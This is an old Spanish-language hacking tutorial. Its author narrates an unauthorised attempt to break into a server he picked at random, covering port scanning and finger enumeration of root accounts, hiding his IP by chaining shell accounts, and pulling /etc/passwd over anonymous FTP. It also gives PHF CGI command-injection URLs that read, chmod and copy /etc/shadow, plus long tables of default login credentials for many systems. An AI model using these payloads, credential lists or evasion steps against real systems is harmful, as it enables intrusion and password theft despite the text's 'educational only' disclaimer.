ATAQUES BASICOS

Queridos lectores, Este Texto es para que Miren como Se hacen los ataques basicos de algunos script kiddies o los grandes Estupidos,  llamados Lammers.

Nota: Que los lammers no son los Newbies, Los newbies son los que les gustaria aprender sin hacer ningun daño
Este texto Es educativo Solamente. No Somos responsables con ningun acto que Vallas a hacer por este texto.

1.-Ser o no ser hacker esa es la Pregunta. Primero que nada tienes que entender que ser hacker no es una moda , Hoy en dia todos se creen hackers .. cuando no les alcanza ni para ... no se. lamers suena muy feo ... es mejor declararse novato que es mas facil ; como yo .. soy solo un novatillo ... si haces hacking , no lo andes divulgando en todo el canal #lamers de irc , mejor guarda silencio y si no te aguantas las ganas , comentaselo solo a tus mas cercanos amigos ... . Si trabajas o estudias , etc.. trata que tus compañeros no sospechen de ti ... trata de no tener fama de hacker ni de nada , no cometas el error que cometi,. yo . Donde trabajo ya tengo fama y cualquier cosa que pase yo voy a ser el primer blanco (aunque no tenga nada que ver en el asunto :-) .

2.- Antes de andar practicando el hacking por ahi debes saber que tienes que cuidarte , ya sabes por que , de lo contrario leete las actualidades y sabras porque de debes cuidar tu trasero . Bueno trataremos de mostrar algunas formas de encubrirte .. . es decir que tu ip no aparezca en ningun lado . Pues es esa ip la que te delatara .

3.- No dañar sistemas ajenos ... si logras entrar a un server ajeno y logras tener Root no lo dañes ni modifiques , es un delito , recuerda que hacemos esto para probar el servidor, buscar en el sobre los bugs y exploits y contactar al administrador si lo quieres ayudar o si no limpiarse las manos y salir sin hacer NADA.ES como la pesca deportiva luchamos por pescar un hermoso ejemplar ... le sacamos una foto y lo dejamos ir .

4.- Cepillate los dientes y lavate el potito antes de ir a dormir

Esta es la narración de un hack bastante simple que estoy llevando acabo en estos momentos , la verdad es que aun no tengo Root en la maquina pero en eso estoy - La verdad voy hablar de este hack por lo simple y facil que ha sido encontrar la información y encontrar la entrada a este server .

Se me ocurrio visitar varios web en internet , hasta encontrar algo interesante hasta que llegue a uno bastante peculiar , tenia pinta de ser algo asi como una red de mafiosos o traficantes , no se , algo por el estilo asi que no encontre algo mejor que averiguar un par de cositas de este server asi que manos a la obra .

SCANEANDO PUERTOS .
----------------------------------------------------

Tome mi guindoze , y lo primero que hize fue hacerle un portscan (en castellano un sorfeo a los puertos) es decir para los menos metidos en el tema. Saber que servicios estan abiertos en el servidor ejemplo. FTP , telnet , sendmail , http , etc... bueno aki les va una lista que esta en casi todos los articulos sobre hacking , que definen los puertos y sus servicios .

LISTADO DE PUERTOS

echo 7/tcp
echo 7/udp
discard 9/tcp sink null
discard 9/udp sink null
systat 11/tcp
systat 11/tcp users
daytime 13/tcp
daytime 13/udp
netstat 15/tcp
qotd 17/tcp quote
qotd 17/udp quote
chargen 19/tcp ttytst source
chargen 19/udp ttytst source
ftp-data 20/tcp
ftp 21/tcp
telnet 23/tcp
smtp 25/tcp mail
time 37/tcp timserver
time 37/udp timserver
rlp 39/udp resource # resource location
name 42/tcp nameserver
name 42/udp nameserver
whois 43/tcp nicname # usually to sri-nic
domain 53/tcp nameserver # name-domain server
domain 53/udp nameserver
nameserver 53/tcp domain # name-domain server
nameserver 53/udp domain
mtp 57/tcp # deprecated
bootp 67/udp # boot program server
tftp 69/udp
rje 77/tcp netrjs
finger 79/tcp
link 87/tcp ttylink
supdup 95/tcp
hostnames 101/tcp hostname # usually from sri-nic
iso-tsap 102/tcp
dictionary 103/tcp webster
x400 103/tcp # ISO Mail
x400-snd 104/tcp
csnet-ns 105/tcp
pop 109/tcp postoffice
pop2 109/tcp # Post Office
pop3 110/tcp postoffice
portmap 111/tcp
portmap 111/udp
sunrpc 111/tcp
sunrpc 111/udp
auth 113/tcp authentication
sftp 115/tcp
path 117/tcp
uucp-path 117/tcp
nntp 119/tcp usenet # Network News Transfer
ntp 123/udp ntpd ntp # network time protocol (exp)
nbname 137/udp
nbdatagram 138/udp
nbsession 139/tcp
NeWS 144/tcp news
sgmp 153/udp sgmp
tcprepo 158/tcp repository # PCMAIL
snmp 161/udp snmp
snmp-trap 162/udp snmp
print-srv 170/tcp # network PostScript
vmnet 175/tcp
load 315/udp
vmnet0 400/tcp
sytek 500/udp
biff 512/udp comsat
exec 512/tcp
login 513/tcp
who 513/udp whod
shell 514/tcp cmd # no passwords used
syslog 514/udp
printer 515/tcp spooler # line printer spooler
talk 517/udp
ntalk 518/udp
efs 520/tcp # for LucasFilm
route 520/udp router routed
timed 525/udp timeserver
tempo 526/tcp newdate
courier 530/tcp rpc
conference 531/tcp chat
rvd-control 531/udp MIT disk
netnews 532/tcp readnews
netwall 533/udp # -for emergency broadcasts
uucp 540/tcp uucpd # uucp daemon
klogin 543/tcp # Kerberos authenticated rlogin
kshell 544/tcp cmd # and remote shell
new-rwho 550/udp new-who # experimental
remotefs 556/tcp rfs_server rfs# Brunhoff remote filesystem
rmonitor 560/udp rmonitord # experimental
monitor 561/udp # experimental
garcon 600/tcp
maitrd 601/tcp
busboy 602/tcp
acctmaster 700/udp
acctslave 701/udp
acct 702/udp
acctlogin 703/udp
acctprinter 704/udp
elcsd 704/udp # errlog
acctinfo 705/udp
acctslave2 706/udp
acctdisk 707/udp
kerberos 750/tcp kdc # Kerberos authentication--tcp
kerberos 750/udp kdc # Kerberos authentication--udp
kerberos_master 751/tcp # Kerberos authentication
kerberos_master 751/udp # Kerberos authentication
passwd_server 752/udp # Kerberos passwd server
userreg_server 753/udp # Kerberos userreg server
krb_prop 754/tcp # Kerberos slave propagation
erlogin 888/tcp # Login and environment passing
kpop 1109/tcp # Pop with Kerberos
phone 1167/udp
ingreslock 1524/tcp
maze 1666/udp
nfs 2049/udp # sun nfs
knetd 2053/tcp # Kerberos de-multiplexor
eklogin 2105/tcp # Kerberos encrypted rlogin
rmt 5555/tcp rmtd
mtb 5556/tcp mtbd # mtb backup
man 9535/tcp # remote man server
w 9536/tcp
mantst 9537/tcp # remote man server, testing
bnews 10000/tcp
rscs0 10000/udp
queue 10001/tcp
rscs1 10001/udp
poker 10002/tcp
rscs2 10002/udp
gateway 10003/tcp
rscs3 10003/udp
remp 10004/tcp
rscs4 10004/udp
rscs5 10005/udp
rscs6 10006/udp
rscs7 10007/udp
rscs8 10008/udp
rscs9 10009/udp
rscsa 10010/udp
rscsb 10011/udp
qmaster 10012/tcp
qmaster 10012/udp

Se parece al archivo services de windows.

Ahora como scanear puertos, simple la forma primitiva es hacerle un telnet a diferentes puertos .
ejmplos :
telnet victima.com 23 ----->> si te responde preguntandote un login
quiere decir que tiene el telnet abierto .
telnet victima.com 25 ----->> Si te responde algo como lo siguiente
220-Session protected by McAfee WebShield
220 Victima Sendmail SMI-8.x/SMI-SVR5 ready at Thu, 24 May 1998 17:52:01 -0400
tiene el STMP abierto .
telnet victima.com 79 ------>> Si queda en blanco un rato y no te bota
dale un enter y deberia salir algo como :
root pts/0 May 24 09:21 (xxx.xxx.xxx.xx)
root pts/1 May 24 12:30 ([email protected])
esto significa que tiene el puerto de finger abiert .. el cual nos puede
proporcionar mucha información como el login ,, en este caso root .
ademas de algn correo en incluso la direccion ip como en el primer caso .
Abre una ventana dos y digita:
ftp vicitma.com
Connected to victima.com.
220 victima.com Microsoft FTP Service (Version 3.0).
User:
lo mismo que los otros este es le puerto 21 . de un server nt .

La segunda forma , mucho mas facil de hacer es con un portscan , hay muchos en internet , de hecho el hackers utility trae uno , yo ocupo el haktek , pero si eres novato en el tema seria mejor que probaras por primera vez con el telnet para que conozcas el funcionamieto del asunto . Si utilizas un portscan te daran los resultados de que puertos tiene abiertos . Teniendo esa información sabremos por donde empezar .. Bueno mi haktek me da los siguientes resultados.

port 21 found. Desc='ftp'
port 23 found. Desc='telnet'
port 25 found. Desc='smtp'
port 53 found. Desc='domain/names'
port 79 found. Desc='finger'
port 80 found. Desc='www'
port 106 found.
port 109 found.Desc='pop'
port 110 found. Desc='pop3'

EMPIEZA LA ACCION
-----------------------------------------------------

Mmm interesante tiene el puerto 79 abierto cosa poco usual en estos dias , vamos a ver quien esta conectado le haremos un finger , programa no incluido en Guindoze pero lo podemos hacer haciendo un telnet al puerto 79 ahora si te bajaste el haktek desde nuestra web .. solo presiona los binoculares que estan abajo , el ultimo icono y listo .
los resultados fueron los siguientes :
login name tty Idle When Where
root Gato Juanito p0 4:19 sat 14:41 xxx.xxx.xxx.x
root Epidemia p1 31 wed 14:16 [email protected]

Oki aki tenemos los primeros resultados , a sabemos un login ROOT llevamos la mitad hecha ahora falta la password jejej . En otros sistemas pueden haber mas usuarios se puede alargar bastante esta lista y por la misma razon , entre mas usuarios conectados mas login tenemos y mas posibilidades de encontrar algun usuario despistado que tenga paswords faciles . Al tener el nombre de los usuarios no seria mala idea probar con las abreviaciones de los nombres . ejemplo

login : root
password: gjuanito
entonces probemos pero tenemos que cuidarnos , ya saben ocultar nuestra ip si tienes cuentas shell en algun lado seria conveniente hacer lo siguiente conectarnos con condon ... jejej en estos dias nadie sabe .
telnet condon1.com
Welcome to condon1.com
login :tulogin
password : tupassword
bla bla bla
>telnet condon2.com
Welcome to condon2.com
login: tu login
password: tu password
bla bla bla de nuevo ....

>telnet victima.com

ahora que estamos haciendo .. simple , la ip que quedara impresa en el log de la victima sera la del condon2 entonces si el root quiere averiguar quien intento entrar en su server le tendra que preguntar al admin del condon2 , si el condon2 queda en japon va ser dificil que el admin de la victima vaya a esos lares a preguntarle o no ??:-) , pero si lo hiciera el admin del condon2 le daria la ip del condon1 , entienden la idea .. jeje entrete ... ahora si no tienes cuentas shell anota .. www.teldit.com desde este servidor puedes hacer telnet a travez del navegador a travez de un applet java y utiliza la ip de ese server (nota.- Si eres administrador de algun server o tienes cuenta shell y no quieres que nadie se entere de tu password no uses el teledit , lo mas probable es que este applet pueda ser modifcado de tal forma que guarde un log del server al cual te conectas e incluso las claves , una gran base de datos para los hackers

hacemos telnet entonces y nos dice lo siguiente .

Welcome to Victima.com estamos esperando a que nos
hackees . como soy buen administrador y me encantan
los hackers les he dejado abierto el telnet
para que entren en mi sistema
happy hacking .
UNIX(r) System V Release 4.0

Login:root
password:********* ------>>jperez
login incorrect .

mmm bueno seguimos probando con lo que nos queda si tenemos suerte (tendria que ser mucha) entraremos al sistema . A mi por lo menos no me resulto asi que me fui al ftp a ver que encontraba ... es simple normalmente todos los ftp usan el user anonymous como login y password cualquiera , yo uso guest .. de hecho tu navegado cada vez que te conectas a un sitio ftp o bajas algun software via ftp , registra esta cuenta y usa como password tu e-mail , que malo , es por eso que despues te llegan correos desde esos server ofreciendote servicios ya que tu navegador les dices quien eres ,, pero bueno ese es otro cuento para otro articulo .
abres una ventana dos y digitas ..
ftp victima.com
Connected to victima.com.
220-Session protected by McAfee WebShield
220 victima FTP server (UNIX(r) System V Release 4.0) ready.
User (xxxxxxxx:(none)): anonymous
530 User anonymous unknown.
Login failed.

shit .. tienen el anonymous desactivado ... no podre intrusear en su
ftp ... pero si tu entreaste con la cuenta anonymous haz lo siguiente .

230 Guest login ok, access restrictions apply.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
bin
usr
etc
pub
dev
226 Transfer complete.
44 bytes received in 0.00 seconds (44000.00 Kbytes/sec)
ftp> cd etc
250 CWD command successful.
ftp> ls -a
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.

..
group
netconfig
passwd
passwd.bak
226 Transfer complete.
45 bytes received in 0.00 seconds (45000.00 Kbytes/sec)
ftp> get
(remote-file) passwd
(local-file) c:\tudirectorio\passwd
200 PORT command successful.
150 Opening ASCII mode data connection for passwd (222 bytes).
226 Transfer complete.
227 bytes received in 0.00 seconds (227000.00 Kbytes/sec)
ftp>by

Ahora si no pudiste ver el archivo passwd o shadow , o no te dejo conectarte prueba este viejo bug a ver si resulta .
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.

Una vez adentro bajas el archivo passwd o shadow .... este es un bug muy viejo de hecho personalmente jamas me he encontrado con algún server que me lo permita ... paro quien sabe .. ???

JUGANDO CON EL PHF .
---------------------------------------------------

El phf , si se que esta mas que visto , que es super antiguo pero aunque ustedes no lo crean funciona . Solo podemos probarlo en sistemas que corran bajo unix y que tengan el cgi-bin activo ..

El phf es un fichero que funciona como uan especie de busqueda de datos pero que podemos utilizar facilmente para ejecutar programas , ver archivos etc ...

partamos por lo basico veamos que sucede ....
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
( 1 )( 2 )( 3 )( 4 )( 5 )( 6 )

1.- El site que quieras atacar.
2.- El comando phf.
3.- Aqui es donde esta el secreto.
4.- El programa que quieres que se ejecute en este caso cat (como un edit).
5.- El %20 es un espacio, y se pueden usar tantos como te hagan falta.
6.- Y pues aqui va el archivo o directorio que quieres ver.

Con este comando deberiamos estar editando el fichero passwd
el resultado que aparecera en nuestro navegador fue el siguiente .

Query Results

/usr/local/bin/ph -m alias=x /bin/cat /etc/passwd

Mierda no funciona , al intentar con shadow en vez de passwd tampoco me da resultado ... pero algo interesante sucede .. hizo el query . veamos que hay en el etc .
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ls%20/etc

fijense que esta vez cambie el comando cat por ls , que es como el dir en unix direccionado al subdir etc . veamos que sucede .
Query Results
/usr/local/bin/ph -m alias=x /bin/ls /etc
TIMEZONE
a
acct
passwd
shadow
hosts
mail
net

sercurity -------->>>> Osea? ---<> insecurity .---

..
..
..
muchos ficheros mas .


Esto se pone demasiado interesante , pero ahora debo averiguar el por que no pude editar el shadow .. que ya sabemos que es ese el fichero que debo tomar por que lo vimos en el directorio .
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/hosts
Query Results

/usr/local/bin/ph -m alias=x /bin/cat /etc/hosts

#
# Sun Host Database
#
# If the NIS is running, this file is only consulted when booting
#
127.0.0.1 localhost
#
xxx.xx.xxx.xx algunweb.com
xxx.xx.xxx.xx algunweb.com
xxx.xx.xxx.xx algunweb.com
xxx.xx.xxx.xx algunweb.com

MMMmmmmm pudmos editar el hosts , eso quiere decir que le comando cat
esta perfecto , que puede haber un problema de permisos , talvez solo
el root puede editar estos archivos , averiguemoslo ...

http://www.vicitma.com/cgi-bin/phf?Qalias=x%0a/bin/ls%20-l%20/etc/shadow

Aqui le hacemos un ls -l al fichero shadow el -l nos mostrara
los permisos del archivo ..

Query Results

/usr/local/bin/ph -m alias=x /bin/ls -l /etc/shadow

-r-------- 1 0 sys 27348 May 20 15:38 /etc/shadow


AHora se que es un archivo pero me dice por la r que es un archivo de lectura que solo lo puede leer el propietaro de este archivo , en este caso el sys o sea el systema . Ahora voy a a tratar de explicar la forma con la cual saque esta conclusión ...

aki va un ejemplo ...
-rwx--xr-x 1 0 sys 27348 May 20 15:38 /etc/shadow


si te fijas en la figura te daras cuenta que hay una linea de 10 espacios "-rwx--xr-x" la caual el primer caracter nos indica que es , directorio , archivo.. etc.. ver caudro 1 .-


cuadro 1 .-


************************************************************************

El primer '-' significa que es un archivo normal, ya que si fuese un directorio dicho '-' nos lo representaria por 'd', si fuese un enlace mediante 'l', 'b' significaria que es un dispositivo especial de bloques, 'c' un dispositivo especial de caracteres,'p' un archivo de conduccion por nombre, 's' un semaforo y 'm' nos indicaria que es un archivo de memoria compartida.
*************************************************************************
Este cuadro de texto es gentileza de JJF/Hackers Team

Los siguientes tres caracteres "rwx" nos indican los permisos del propietario del archivo en este caso el systema o SYS , cuyos permisos son r "lectura" w "escritura" x "ejecución" . Los caracteres siguientes "--X" son los derechos que tiene el grupo al cual pertence el propietario en este caso x "ejecución". Y los ultimos 3 caracteres indican los derechos del resto de los usuarios "r-x" que en este caso son de lectura y ejecución .Se entiende ? espero que si ... vamos entonces a tratar de cambiar los derechos de este archivo .


************************************************************************

La principal caracteristica que tiene esta nomenclatura es la de
asignar los permisos mediante valores octales.
Como todos sabreis, la base octal, o base 8, puede contener de los
numeros 0 al 7. Es por ello, que tan solo son validos estos numeros a la
hora de asignar permisos. Fijate en el siguiente cuadro:

Fig 1. Permiso Valor_Octal

------------------------------

r | lectura 4
w | escritura 2
x | ejecucion 1

Claramente observamos que numero octal corresponde a cada caracteristica de un archivo o directorio en un sistema UNIX. Pasemos pues a poner en uso todo lo aprendido hasta ahora.
Como dijimos antes el comando utilizado por los S.O UNIX para establecer permisos recibe el nombre de chmod. A la hora de dar permisos en forma absoluta hemos de seguir la siguiente Sintaxis: 'chmod XYZ archivo'.
X representa al due¤o del archivo, Y al grupo y Z al resto de usuarios, mientras que 'archivo' es el nombre del archivo a especificar los permisos. Siempre que queramos atribuir mas de un permiso los numeros octales se sumaran
************************************************************************
Este cuadro de texto es gentileza de JJF/Hackers Team
Es decir que si queremos darle permiso de lectura escritura y ejecución al archivo sahdow el comando a ejecutar seria el siguiente :
chmod 407 shadow
Con este comando no el archivo quedara con los siguientes atributos .
-r-----rwx 1 0 sys 27348 May 20 15:38 /etc/shadow

Lo cual nos indica que el propietario del archivo tiene acceso solo a la lectura del archivo , el grupo querda sin ningun derecho sobre el archivo mientras el resto de los usuarios pueden leerlo , escribirlo y ejecutarlo .

Veamos la parte practica , aunque lo veo dificil ya que habiamos visto que el archivo solo lo podía leer el systema , cosa que solamente el root podía variar , es decir el comando chmod solo tendria efecto en este archivo si fuese el Root el que lo ejecutara , pero sigamos probando quien sabe ??
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/chmod%20407%20/etc/shadow
Query Results
/usr/local/bin/ph -m alias=x /bin/chmod 407 /etc/shadow

Veamos que sucedió ............:-)
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ls%20-l%20/etc/shadow
Query Results
/usr/local/bin/ph -m alias=x /bin/ls -l /etc/shadow
-r-------- 1 0 sys 27348 May 20 15:38 /etc/shadow
Nada , bueno me lo imaginaba .... que lata ...
Probemos la siguiente técnica , trataremos de copiar el archivo a otro
a ver que pasa .

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cp%20/etc/shadow%20/etc/pass.txt
Query Results
/usr/local/bin/ph -m alias=x /bin/cp /etc/shadow /etc/pass.txt

Bueno aki lo que tratamos de hacer es copiar el shadow a un archivo llamado pass.txt
veremos que pasa .

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ls%20-l%20/etc/pass.txt
Query Results
/usr/local/bin/ph -m alias=x /bin/ls -l /etc/pass.txt

Fuck , no fue posible no pudimos copiarlo .. que lata ..

Bueno que importa .. trataremos de buscar otros metodos , pero aprovechando esta falla podemos ver los directorios , los archivos etc.. , las posibilidades son infinitas .
Bueno busquemos otra tecnica de entrar al sistema ..
FUERZA BRUTA
***********************************************************************

Esta técnica es mas que basica pero funciona , se trata de utilizar las cuentas default que trAen los sitemas , es decir ; Normalmente los sistemas traen cuentas que vienen por defecto , como el usr_template o guest en novell , o el guest de windows NT . . Aki va un listado de cuentas default de diferentes sistemas .


Cuentas por defecto
-------------------
AIX
~~~
guest guest


AS/400
~~~~~~
qsecofr qsecofr
qsysopr qsysopr
qpgmr qpgmr
ibm password
ibm 2222
ibm service
qsecofr 1111111
qsecofr 2222222
qsvr qsvr
secofr secofr

DECserver
~~~~~~~~~
ACCESS
SYSTEM

HP-x000
~~~~~~~
Este sistema es elaborado por Hewlett-Packard. Se caracteriza por el prompt ":". La secuencia de entrada a este sistema es una de las m s complicadas. Debes escribir: "HELLO SESSION NOMBRE,USUARIO,NOMBRE-DE-CUENTA,GRUPO" Afortunadamente algunos de esos campos pueden dejarse en blanco. En ocasiones todos los campos est n protegidos con passwords por lo que este sistema no es uno de los m s faciles de acceder.
Las cuentas defaults comunes son:

Login User
~~~~~ ~~~~
MGR.TELESUP,PUB MGR
Acct: HPONLYG rp: PUB
MGR.HPOFFICE,PUB
FIELD.SUPPORT,PUB FLD,
MAIL.TELESUP,PUB MAIL,
MGR.RJE
FIELD.HPP189 ,HPP187,HPP189,HPP196
MGR.TELESUP,PUB,HPONLY,HP3


Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
HELLO MANAGER.SYS
HELLO MGR.SYS
HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP
HELLO OP.OPERATOR
MGR CAROLIAN
MGR CCC
MGR CNAS
MGR CONV
MGR COGNOS
OPERATOR COGNOS
MANAGER COGNOS
OPERATOR DISC
MGR HPDESK
MGR HPWORD
FIELD HPWORD
MGR HPOFFICE
SPOOLMAN HPOFFICE
ADVMAIL HPOFFICE
MAIL HPOFFICE
WP HPOFFICE
MANAGER HPOFFICE
MGR HPONLY
FIELD HPP187
MGR HPP187
MGR HPP189
MGR HPP196
MGR INTX3
MGR ITF3000
MANAGER ITF3000
MAIL MAIL
MGR NETBASE
MGR REGO
MGR RJE
MGR ROBELLE
MANAGER SECURITY
MGR SECURITY
FIELD SERVICE
MANAGER SYS
MGR SYS
PCUSER SYS
RSBCMON SYS
OPERATOR SYS
OPERATOR SYSTEM
FIELD SUPPORT
OPERATOR SUPPORT
MANAGER TCH
MAIL TELESUP
MANAGER TELESUP
MGR TELESUP
SYS TELESUP
MGE VESOFT
MGE VESOFT
MGR WORD
MGR XLSERVER


Major BBS
~~~~~~~~~
Sysop Sysop


PICK O/S
~~~~~~~~
DSA
DS
DESQUETOP
PHANTOM


Prolog
~~~~~~
PBX PBX
NETWORK NETWORK
NETOP null


Rolm
~~~~
CBX Defaults
op op
op operator
su super
admin pwp
eng engineer

PhoneMail Defaults
~~~~~~~~~~~~~~~~~~
sysadmin sysadmin
tech tech
poll tech

RSX
~~~
SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM)
1,1/system (Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER
MICRO/RSX

System 75
~~~~~~~~~
bcim bcimpw
bciim bciimpw
bcms bcmspw, bcms
bcnas bcnspw
blue bluepw
browse looker, browsepw
craft crftpw, craftpw, crack
cust custpw
enquiry enquirypw
field support
inads indspw, inadspw, inads
init initpw
kraft kraftpw
locate locatepw
maint maintpw, rwmaint
nms nmspw
rcust rcustpw
support supportpw
tech field

Taco Bell
~~~~~~~~~
rgm rollout
tacobell null

Verifone Junior 2.05
~~~~~~~~~~~~~~~~~~~~
Default password: 166816

VMS
~~~

La computadora VAX es creada por Digital Equipment Corporation (DEC) y corre el sistema operativo VMS (virtual memory system). VMS se caracteriza por su prompt 'Username:'. Este sistema no te dir si has entrado un login correcto o no y te desconectar despu‚s de tres malos intentos. Tambi‚n mantiene un record de todos los logins que fallaron e informa al due¤o de la cuenta la pr¢xima vez que entre cuantos intentos fallados se hicieron. Es uno de los sistemas m s seguros desde fuera pero ya dentro tiene varios errores en la seguridad. Las VAX ademas tienen uno de los mejores archivos de ayuda de entre los dem s sistemas, para acceder a esta ayuda s¢lo escribe HELP en el prompt.

Las cuentas defaults comunes son: [ usuario: password [,password] ]

Login Password
~~~~~ ~~~~~~~~
decnet decnet
demo
demo demo
field field
field service
guest
guest guest
operator operator
sysmaint digital
sysmaint service
sysmaint sysmaint
system manager
system operator
system syslib
system system
systest uetp


UNIX
~~~~
Las cuentas defaults comunes son:

Login Password
~~~~~ ~~~~~~~~
adm adm
adm admin
admin adm
admin admin
bin bin
daemon daemon
decnet ddennet
decnet nonpriv
default user
demo demo
field digital
field service
field test
games games
games player
guest friend
guest guest
guest welcome
host host
learn learn
netnonpriv nonpriv
nuucp nuucp
postmaster mail
rje rje
root root
root sysop
root system
sys sys
sys system
sysop sysop
sysman sys
sysman sysman
sysman system
sysadmin adm
sysadmin admin
sysadmin sys
sysadmin sysadmin
sysadmin system
sysbin sysbin
sysmaint digital
sysmaint service
system manager
system operator
system syslib
system uetp
systest_clig systest
test test
tty tty
unix test
unix unix
userp user
uucp uucp
uuhost uuhost
who who

PRIME
~~~~~

Esta computadora opera con el sistema operativo Primos. Son f ciles de detec- tar ya que reciben a uno con el mensaje "Primecon xx.xx.xx" o algo parecido dependiendo de la versi¢n que te encuentres. Usualmente no ofrecen ning£n prompt as¡ que debes escribir "login usuario". Si la versi¢n es anterior a la 18.00.00 puedes presionar un mont¢n de caracteres de escape o CTRL-C y en- trar s. Este sistema ofrece la capacidad de conectarte a los NUAS de todo el mundo con el comando NETLINK...sintax: nc nua

Las cuentas defaults comunes son:
Login Password
~~~~~ ~~~~~~~~
guest guest
guest prime
guest1 guest
netlink netlink
prime prime
prime primos
primos prime
primos primos
primos_cs prime
primos_cs primos
primenet primenet
system prime
system primos
system system
test test
test prime
test primos


DEC-10
~~~~~~

Este es el equipo de c¢mputo m s nuevo que existe dentro de la linea de DEC's. Operan el sistema operativo TOPS-10. Este tipo de m quinas se reconocen por el prompt "." Las series DEC-10/20 son amables con los hackers permitiendo varios intentos en el login prompt sin guardar un log de los intentos fallados. Las cuentas est n en forma [xxx,yyy]. Lo mejor de este sistema es la posibilidad de obtener informaci¢n sobre las personas en l¡nea antes de entrar a ‚l usando el comando systat. Si ves una cuenta que lea [234,1001] BOB JONES, ser¡a inteligente probar como password BOB, JONES, BOBBY, etc. Para entrar al sis- tema se usa el comando: login xxx,yyy [enter] password:

Este sistema como antes hab¡a dicho, permite intentos sin limite y adem s te avisa si el login que est s usando existe.
Las cuentas defaults comunes son:
Login Password
~~~~~ ~~~~~~~~
1,2 manager 1,2 operator
1,2 syslib
2,7 maintain
5,30 games

IRIS
~~~~

Iris significa (interactive real time information system). Originalmente corr¡a en PDP-11's, pero ahora corre en otras minis. Para identificar uno de estos sistemas busca el texto "Welcome to `IRIS' R9.1.4 Timesharing" y el prompt ACCOUNT ID? (algunas veces es cambiado). IRIS no tiene limites a la hora de hackear una cuenta y no guarda un log de los intentos fallados.

Login
~~~~~
accounting
boss
demo
manager
pdp8
pdp11
software

VM/CMS
~~~~~~

Este sistema es ejecutado en las super computadoras de IBM (International Business Machines) llamadas mainframes. Una vez conectado a una de estas computadoras te mostrar un mensaje asi "VM/370 ONLINE", y te dar un prompt "." justo como la TOPS-10 lo hace. Para entrar debes ejecutar: LOGON
Las cuentas defaults comunes son:
Login Password
~~~~~ ~~~~~~~~
autolog1 autolog
autolog1 autolog1
cms cms
cmsbatch cms
cmsbatch cmsbatch
erep erep
maint maint
maint maintain
operatns operatns
operatns operator
operator operator
rscs rscs
smart smart
sna sna
vmtest vmtest
vmutil vmutil
vtam vtam

NOS
~~~

NOS significa Networking Operating System y corre en la Cyber computadora hecha por Control Data Corp. A este sistema lo puedes identificar f cilmente por la bienvenida "WELCOME TO THE NOS SOFTWARE SYSTEM...". El primer prompt que recibir s sera FAMILY: (presiona enter) depu‚s llegar s a otro prompt USER NAME: donde cada uno es de 7 digitos alfanumericos y son dependientes del sistema por lo que no son palabras o frases conocidas.

DECSERVER
~~~~~~~~~

Las DECs son una serie de computadoras conectadas entre s¡ para formar una s¢la unidad de procesamiento, la funcionalidad de estos sistemas es altamente utilizado por los hackers para quebrar passwords de cuentas unix por la rapidez del sistema. El prompt usualmente sera: "Enter Username>" aunque yo he visto otros prompts en estos sistemas. El nombre de usuario puede ser cualquier cosa, lo mejor ser presionar algo nada sospechoso como `c' o alg£n n£mero. De ah¡ te presentar con el prompt `local>'. De ah¡ debes ejecutar `c ' para conectarte. Para obtener una lista de sistemas conectados ejecuta `sh' `services' o `sh nodes'. En algunos sistemas DEC'S existen comandos como MODEM o DIAL que permiten hacer uso de un m¢dem para llamadas externas que te permitir n marcar a BBS internacionales a expensas de la compa¤¡a que opera el DEC.


******** Listado extraido del Web de RAREGAZZ ****************************

Bueno nos conectamos a la victima con condon o en ultima instancia a travez del teledit , despues de tratar con varias cuentas llegue a lo siguiente :-p .

UNIX(r) Sytem Release 4.0
login:userpordefecto
password:passpordefecto
No directory! login in with home= / etc....

Bingo entre en el sistema ... pero a los segundos me desconecta . No me da acceso por la
dirección ip , pero es algo simple de solucionar vamos a hacer ipspoff (falsear ip) para entrar.
UNIX(r) Sytem Release 4.0

login:userpordefecto
password:passpordefecto
login incorrect


Shit nos cacharon , el administrador debe haber notado que trataron de entrar en su sistema con esa cuenta. Bueno que podemos hacer .. mmm ya se me ocurre algo en el articulo anterior gracias al finger pudimos ver la direccion ip del root , eso significa que podemos chequear si podemos conectarnos a su maquina .. mmm veremos que podemos hacer .

Hacemos un escaneo de puertos a la direccion ip del Root , si es que podemos jejeje .- Manos a la obra .-

El primer paso es saber si el Root esta conectado a Inet o que no este dentro de una red interna de tal forma que podamos conectarnos a este ,..,, de lo contrario estamos fritos ... veamos .. hacemos entonces un ping a la direcciòn ip del Root .-

C:\WINDOWS>ping iproot

Pinging xxx.xx.xxx.xx with 32 bytes of data:

Reply from xxx.xx.xxx.xx: bytes=32 time=562ms TTL=46
Reply from xxx.xx.xxx.xx: bytes=32 time=431ms TTL=46
Reply from xxx.xx.xxx.xx: bytes=32 time=1001ms TTL=46
Reply from xxx.xx.xxx.xx: bytes=32 time=351ms TTL=46

Excelente .. el root esta conectado directamente a inet sin la utilizaciòn
de ningun proxy server
.. y al parecer sin estar detras de algun firewall .. esperemos .

Ahora tomamos nuestro programa escaneador de puertos y observemos que nos depara el destino .... el resultado fue el siguiente .-
port 21 found. Desc='ftp'
port 23 found. Desc='telnet'
port 25 found. Desc='smtp'
port 37 found. Desc='time'
port 70 found. Desc='gopher'
port 79 found. Desc='finger'
port 80 found. Desc='www'
port 109 found.Desc='pop'
port 110 found. Desc='pop3'
port 113 found. Desc='auth'
port 143 found.
port 513 found. Desc='login/who'
port 514 found. Desc='shell/syslog'
port 515 found. Desc='printer'

Volvemos al procedimiento anterior .. o sea a los ya repasados en el nuemro uno .. veamos .-

Provemos el FTP !!!
C:\WINDOWS>ftp victima.com
Connected to victima.com.
220 www.victima.com FTP server (Version wu-2.4
